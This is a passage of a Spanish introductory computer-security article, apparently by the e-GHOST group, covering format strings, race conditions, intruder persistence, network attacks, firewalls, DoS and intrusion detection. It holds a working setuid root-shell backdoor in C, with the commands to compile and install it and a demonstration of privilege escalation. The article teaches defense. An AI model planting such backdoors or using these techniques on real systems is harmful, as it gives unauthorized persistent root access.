Al igual que en el caso de los buffer overflows, nuestro objetivo no es otro que sobrescribir la dirección de retorno, sabremos leer pero, como escribir? Si miramos el manual de los format strings de la libc veremos que existe un modificador llamado %n el cual escribe en el entero que pasemos como referencia, la cantidad de bytes escritos.

```
int i;
printf("123456%n",&i);
```

Teniendo en cuenta que el buffer que contiene el format string esta contenido en el stack podemos situar el puntero de la pila en una parte de ese buffer y así poder controlar el puntero al entero. Esta técnica permite sobrescribir la dirección de retorno de la función actual.

Soluciones: Hacer no ejecutable al segmento de pila.

La solución del campo con valor aleatorio en el registro de activación o seria valida porque podríamos leerlo y luego reponerlo.

Todos los ataques vistos hasta ahora tenían como pilar la entrada sin validar de los datos del usuario. Sin embargo existen otros ataques que no se fundamentan en eso.

Race Conditions

Comportamiento anómalo debido a una inesperada dependencia del orden de eventos en el tiempo.Ejemplo en pseudocodigo.

```
LINEA_USUARIO=dameLinea();
Si fichero existe y el usuario que nos ha llamado tiene permisos de escritura THEN
        EscribeFichero(LINEA_USUARIO);
```

El problema de este código es la suposición errónea por parte del programador de que 2 ordenes distintas se van a ejecutar de forma atómica.

En un sistema multitarea la cpu se reparte entre los procesos así que podría darse el caso de que "casualmente" justo después de realizar la comprobación de que el fichero existe y hay permisos el planificador del SO quite el procesador a ese proceso y se lo otorgue a uno de los míos. En ese momento mi proceso podría borrar el fichero en cuestión, crear un enlace a un fichero del cual no tenemos permiso, como el /etc/passwd.

Cuando el proceso del programa vulnerable recupere el control se ejecutara la función EscribeFichero y c'est voilá!

Todos estos ataques que hemos visto, cgi-bugs, SQL injection, buffer overflows, heap overflows, format strings y race conditions no son ataques "de laboratorio" es algo bien real. Cada semana salen decenas de bugs basados en estos ataques que posibilitan a los hackers y crackers hackear los servidores y es nuestro deber como programadores y administradores conocerlos para prevenirlos en nuestros programas. El 80% los ataques realizados por hackers y crackers están basados en una de estas 6 técnicas.

5.- En caso de intrusión real

¿ Que Busca el intruso ?

Cuando la seguridad de un sistema se ha visto comprometida, lo realmente importante es saber que pretende el atacante y como se las arreglara para conseguirlo. De esta manera, podremos saber cuales seran sus siguientes pasos dentro del sistema y evitarlos.

Mantener el acceso bajo cualquier circunstancia

Basicamente , lo que busca el atacante es mantener por todos los medios el tesoro, por asi decirlo,que acaba de conseguir. Hay que tener en cuenta lo que comentabamos anteriormente : una maquina en si puede no ser valiosa , pero siempre sera util como plataforma para atacar una tercera maquina.

Normalmente , el atacante habra penetrado en el sistema gracias a un fallo en algún servicio (servidor WEB, FTP ...) y podrá seguir entrando al sistema hasta que ese fallo se corrija. Es por ello que se instalan backdoors, es decirpuertas traseras. De esta forma, el atacante tendra un punto de entrada al sistema garantizado , mas discreto y a su propio gusto. Como ejemplo divertido,podemos imaginarnos un ladrón que entra en una casa rompiendo un cristal , podra seguir entrando a robar siempre y cuando no pongan barrotes en la ventana. Siel ladrón es astuto,habrá preparado un sistema para poder volver a entrar incluso

cuando haya barrates.

Si el intruso ha conseguido tener privilegios de administrador en el sistema, es decir , de root , podra dejar un programa oculto en el sistema que le garantize esa escalada de privilegios posible.

Una forma sencilla de implementar una mochila podria ser la siguiente :

```
# cat mochila.c
void main()
{
 uid_t miuid;
 miuid=geteuid();
 setreuid(miuid,miuid);
 system("/bin/bash");
}
# gcc mochila.c –o mochila
# chmod +s mochila
```

Uso :

```
normal–user@somewhere:~$ whoami
 normal–user
normal–user@somewhere:~$ ./mochila
root@somewhere:# whoami
 root
```

En este ejemplo ejecutamos una shell (bash en este caso) desde un programa con el bit Suid activado.Es decir que todo aquel que lo ejecute , lo ejecutara comosi fuera su propietario, es decir : root.

En los sistemas Unix/Linux existen el euid = id de usuario efectiva y el reuid=id de usuario real,el que importa realmente para los permisos es el euid . Por ejemplo , si nos hemos logeado en el sistema como normal-user y hacemos un ’su root’ , escribiendo la contraseña adecuada, nos convertiremos en root temporalmente y tendremos todos sus privilegios. El problema es que el interprete de comandos que queremos ejecutar , el bash en este caso, cambia el euid por el reuidcuando es ejecutado por motivos de seguridad. Es por ello que tenemos que engañarle cambiando nuestro reuid a root antes de ejecutarlo.

Pasar desapercibido

La ingenieria social es bastante importante en este punto. Si decide instalar una puerta trasera, el nombre del proceso tiene que pasar desapercibido, para que una mirada rapida a la lista de procesos del sistema no le descubra. Seria absurdo llamar al proceso del backdoor : backdoor.exe

El atacante puede optar tambien por trojanizar algun programa conocido del sistema, para que realize lo que él quiera ademas de su funcion propia. De esta forma, no necesitará crear programas nuevos como el caso de las mochilas que son facilmente detectables usando el comando :’find / -perm -4000’ por ejemplo. La mochila será un programa propio al sistema, que tiene el bit suid activado por necesidades reales , como es el caso del programa passwd que tiene que poder acceder al fichero /etc/shadow para cambiar el password de los usuarios que lo ejecuten.

Si el intruso apunta alto , podrá llegar incluso a cargar modulos del kernel (LKMs) para no ser descubierto. De esta manera, el atacante estará en un nivel superior al del propio administrador del sistema , es decir , estara en RING0.

En este punto , os invitó a que leais los documentos escritos por el grupo 7a69, http://www.7a69ezine.org, que explican no solo este tema , sino muchos otros relacionados con la seguridad informatica.

6.- Seguridad en las redes

En las redes actuales todo es modificable . Tanto el origen, el destino y el contenido del mensaje son alterables facilmente. La pila tcp/ip actual no ofrece el entorno propicio para una comunicacion segura.

Sniffing (privacidad)

En Ethernet todo es escuchable a nivel de red y transporte. Existen muchos programas conmunmente llamados sniffers que realizan esta tarea. Los mas utilizados podrian ser el dsniff y el ettercap. Son muy sencillos de utilizar y son capaces de capturar el nombre de usuario y contraseña de una sesion de ftp ,de telnet...

Para 'snifar' la red, lo que hace la tarjeta ethernet es ponerse en modo promiscuo. De esta forma,todos los paquetes que pasen seran capturados, aunque no correspondan con la IP que tenga asignada el interfaz En todos los sistemas, es necesario tener privilegios de Administrador (root) para poder habilitar ese modo.Si un intruso toma el control , suele ser habitual que instale un sniffer oculto para conseguir contraseñas de los sistemas accedidos desde la maquina comprometida. Para detectar una maquina snifando dentro de una red , podemos enviar un paquete a una direccion de red dentro del rango de la subred en la que estemos pero sabiendo que ningun interfaz tiene esa IP. Normalmente, los sniffers intentan hacer la resolucion inversa de todas las IPs que va capturando. De esta forma, si vemos que alguien intenta resolver esa direccion , sabremos que esta sniffando. Es un ataque pasivo , es decir, que el atacante realmente no esta enviando nada, y dificil de detectar. Para evitarlo tendremos que actuar a nivel de aplicacion usando programas que permitan una conexion segura a traves de redes inseguras. Es decir, tendremos que cifrar nuestros datos para que un atacante no pueda sacar nada en claro si consigue capturarlos. El mejor ejemplo de ello, es la utilidad SSH (Secure Shell , http://www.openssh.org) que permite realizar una sesión remota en maquinas Unix/Linux sin peligro. Recomiendo leer el articulo de Pablo Garaizar sobre este tema ,esta disponible en la pagina del E-Ghost , grupo de software libre de la universidad de deusto (http://www.eside.deusto.es/grupos/e-ghost)

Spoofing

El origen de un paquete IP es facilmente modificable. Un atacante con unos conocimientos relativamente minimos puede facilmente programar una utilidad para enviar paquetes con la direccion de origen falseada. Incluso existen bastantes utilidades que lo hacen automaticamente.

El unico protocolo IP que se salva es el TCP , puesto que incorpora un numero de secuencia que se establece al inicio de la conexion con 'el tripe apreton de manos'. Antiguamente, en las tipicas guerras de irc , se usaban mucho los 'nukes'. Consistian en enviar un paquete ICMP del tipo : Destination Unreachable al servidor IRC, con el origen cambiado al de nuestra victima. De esta forma , el servidor piensa que su ultimo paquete no ha podido ser entregado y resetea la conexion, es decir, que desconecta a la victima. Hoy en dia , esta tecnica ya casi no se usa puesto que los ISP (internet service provider) estan

preparados para evitarlo.

Hijacking

Esta tecnica consiste en alterar la informacion contenida en un paquete. Es decir , modificar los datos en si.

No repudio

Viendo la inseguridad y falta de fiabilidad que acabamos de comentar.Podemos decir que ninguna de las dos partes puede estar segura de que la otra parte estuvo implicada en la comunicacion.

Firewalls

Un firewall es por asi decirlo, un Sistema que enlaza dos redes actuando sobre el trafico. Puede ser tanto un dispositivo hardware como un PC dedicado.

Es importante tener en cuenta que la instalacion de un firewall no substituye ninguna de las medidas anteriormente comentadas. Un ejemplo muy tipico es el del Administrador que instala un firewall y se olvida de todo

Podemos distinguir dos tipos principales de firewalls

- Filtrado de paquetes. Son extremadamente rapidos ya que actuan directamente sobre los paquetes en funcion de unas reglas definidas por el administrador. Como ejemplo ,podemos ver Iptables (http://netfilter.samba.org) que es muy potente y permite crear reglas verdaderamente complejas.
- Aplicación. A diferencia , de los de paquetes, entienden el lenguaje del nivel de aplicacion y pueden detectar anomalias en ese nivel. Es decir , cuando se establece una conexion al puerto 80 tcp , los firewalls de filtrado de paquetes se quedan ahi, deciden aceptarla o no. Sin embargo, un firewall de aplicacion entiende que se trata del protocolo http y podrian permitir o denegar el metodo POST por ejemplo. Incluso podria limitar las peticiones a cierto tipo de urls. En este punto podemos decir que los firewalls de aplicacion tienden hacia los detectores de intrusos (IDS) que veremos mas adelante.El Firewall 1 es un buen ejemplo de firewall de aplicacion.

DoS (Denial of service)

Un ataque de tipo DOS (denegacion de servicio) consiste en privar a una maquina de un servicio o recurso del que normalmente dispone. Son los menos populares dentro de la comunidad y por desgracia son los que generan mas perdidas. El caso mas sonado es de Yahoo! , que tuvo pérdidas de millones de dolares cuando sufrio un ataque de este tipo. Sucedio en febrero del año 2000 , Yahoo estuvo inaccesible durante cerca de tres horas.

Existen varios tipos de ataques DOS:

Fallos en el SO / Servicios

El ataque es posible debido a la existencia de algun fallo en el propio sistema operativo o en algun servicio que preste la maquina victima. Son los mas faciles de evitar puesto que basta con actualizar(parchear) el software que falla. El mas conocido, tambien llamado WinNuke, es un fallo en la implementacion de la pila tcp/ip en sistemas Windows95 inferiores a la version OSR2. El problema aparecia cuando un atacante enviaba un paquete ICMP con el flag OOB (out of band) activado a la victima. El efecto es el conocido pantallazo azul con el bloqueo total del sistema. Este problema se corrigio en las siguientes versiones del sistema operativo Windows.

Syn Flood

Es quizas el mas peligroso de todos. Se trata de un error de diseño en el protocolo tcp. Como hemos comentado antes, al establecer una conexion TCP se establece el tripe apreton de manos (triple handshake). Es decir , si tenemos dos maquinas A y B : A Envia la peticion de conectar, B le responde que si quiere conectar y finalmente A confirma la conexion . El problema es que cuando B recibe la peticion de conexion y envia su agrado tiene que guardar el estado de la conexion, es decir , tiene que saber que la conexion esta a medias para que cuando reciba el ultimo paquete de confirmacion sepa en que estado estaba.

El ataque Syn Flood consiste en enviar muchas peticiones de conexion (Syn) a la victima , conexiones que nunca terminaran. La victima tiene que reservar cada vez mas y mas memoria para todas esas conexiones a medias hasta que finalmente se ve desbordada.

Al ser un problema de base del protocolo tcp, las soluciones son bastante dificiles de adoptar. La mejor solucion actualmente es Syn Cookie, soportada en el kernel de Linux. La maquina a la que se intenta conectar envia un numero de secuencia que es aleatorio, usando la tecnica Syn Cookie, en vez de enviar un numero aleatorio , se envia un numero que contiene la suficente informacion (cifrada) para que cuando recibamos el siguiente paquete de confirmacion podamos saber que la conexion estaba a medias sin necesidad alguna de haber reservado memoria para ello. Esta solucion es francamente buena puesto que no necesita que los clientes tenga que aplicar ningun tipo de parche.

Existen muchos otros intentos de solucionar este problema, un interesante proyecto es el de Oscar presentado en el Primer Simposio nacional sobre comercio electronico (http://www.isconference.org).

Consumo de ancho de banda

Si la victima tiene menos ancho de banda disponible que su atacante se encuentra en una situacion realmente dificil, puesto que si el atacante consume todo su ancho de banda fisico, quedara fuera de la red.

El Ataque mas conocido de este tipo es el SMURF. Consiste en enviar paquetes ICMP del tipo Echo Request a la direccion de broadcast de una subred. Si el router que une esta subred con internet esta mal configurado, permitira el paso de estas peticiones de ping. Al ser la direccion de broadcast, responderan todas las maquinas de la subred con un ICMP echo reply a la direccion originaria del echo request. El atacante habra spoofeada ,como vimos anteriormente, su direccion origen haciendose pasar por la victima. Como consecuencia, la maquina se ve inundada de Echo Replys.Lo realmente problematico de esta tecnica es que se consiguen factores de multiplicacion realmente grandes ,es decir , que si el atacante envia 1 echo request, la broadcast puede responder decenas e incluso cientos de echo replys.

La unica solucion para este ataque es que se configuren bien los routers para que no permitan paquetes con destino a la broadcast.

7.- IDS (Intrusion Detection System)

Un Sistema de Detección de Intrusos (IDS) es un sistema para realizar una defensa reactiva en cuanto a intrusiones. En la práctica se utilizan para registrar y actuar frente ataques o intentos de ataque.

Es bastante patente su necesidad en los sistemas actuales a tenor de los efectos de gusanos de infección masiva como "RedCode" o "Nimda". En los periodos de mayor virulencia, se detectaban 10 ataques por minuto en un servidor web sencillo. Actualmente la cifra ha descendido a 5 ataque por día aproximadamente, pero son constantes sus apariciones en los logs de los servidores.

Con semejante tasa de ataques por unidad de tiempo es inviable detectar los intentos de ataque y reaccionar ante ellos de manera manual. Es demasiado grande la cantidad de datos que hay que valorar y la velocidad de respuesta es un factor crítico. Por ello se utilizan IDSs, que, por lo general, actúan a nivel de aplicación mediante el uso de diversas técnicas: desde detección de patrones estáticos o expresiones hasta técnicas de inteligencia artificial y/o data mining.

Existen varios tipos de IDSs:

HIDS (Host based Intrusion Detection System)

Protege a un único host o sistema intentando detectar anomalías que pudieran suponer un ataque. Normalmente son programas o módulos que se ocultan en el sistema para evitar que sean desactivados por el intruso.

Pueden monitorizar gran cantidad de eventos en el sistema y tener un enfoque proactivo (previniendo ataques) y reactivo (actuando ante una presunta intrusión).

Además de los HIDS tradicionales, existen herramientas que ayudan también a los sistemas de detección de intrusos, como son:

- los Verificadores de la Integridad del Sistema (SIV), que monitorizan los cambios en ficheros críticos del sistema, intentando evitar modificaciones que corrompan la seguridad del sistema, o la instalación de backdoors. El más famoso SIV es "TripWire", que analiza periódicamente la integridad de los ficheros críticos del sistema, alertando cuando encuentra alguna anomalía.
- los Monitores de Ficheros de Log (LFM), que analizan constantemente los ficheros de registro generados por los servicios del sistema y de red en busca de patrones que puedan suponer un intento de ataque. Un ejemplo de este tipo de herramientas es el "swatch", que parsea los ficheros de log del servidor web en busca de peticiones indebidas como intentos de explotar el bug del "phf", etc.

NIDS (Network based Intrusion Detection System)

Los NIDSs, en lugar de centrarse en la protección de un único host, monitorizan una red entera para detectar anomalias que pudieran suponer un ataque. Pretenden prever ataques como DoSs, peticiones malintencionadas a servidores (Ejemplo : Directory Transversal en HTTP), etc. Pueden instalarse en todas las máquinas pertenecientes a una red, o dedicar una máquina exclusivamente para monitorizar la red (típicamente con un interfaz de red en modo promiscuo o mediante "port-mirroring", para poder capturar todo el tráfico de dicha red).

Ejemplos de este tipo de sistemas bastante conocidos son "SNORT" (open source) o "Memphis".

DNIDS (Distributed NIDS)

Cuando la monitorización es entre diversas redes con un enfoque global, podremos hablar de NIDS distribuidos o DNIDSs. Un ejemplo paradigmático de este tipo de sistemas puede ser la recientemente confirmada "Echelon", que monitoriza gran parte de las comunicaciones planetarias buscando datos que puedan servir a los servicios de espionaje de varios de los paises más ricos del mundo.

8.- Conclusion

Como conclusión. nos gustaría que quedase claro que la Seguridad Informática es un aspecto muchas veces descuidado en nuestros sistemas, pero de vital importancia para el correcto funcionamiento de todos ellos.

Sería importante hacer hincapié en los siguientes conceptos:

- Todo sistema es susceptible de ser atacado, por lo que conviene previnir esos ataques.
- Conocer las técnicas de ataque ayuda a defenderse más eficientemente.
- Elegir SOs con poco énfasis en la seguridad, puede suponer un auténtico infierno.
- La seguridad basada en la ocultacion no existe.

Para saber más...

- http://packetstorm.decepticons.org: Página sobre seguridad informática en general, con gran cantidad de recursos
- http://www.securityfocus.com: Página de la empresa SecurityFocus, dedicada a la seguridad informática
- http://www.hispasec.com: Página web de Hispasec, dedicada a la seguridad informática
- www.int80.net: Página del grupo de seguridad int80h

Este documento ha sido escrito por miembros de e-GHOST, y su contenido es libre de ser reproducido en otros medios bajo las condiciones de la Licencia FDL (GNU Free Documentation License).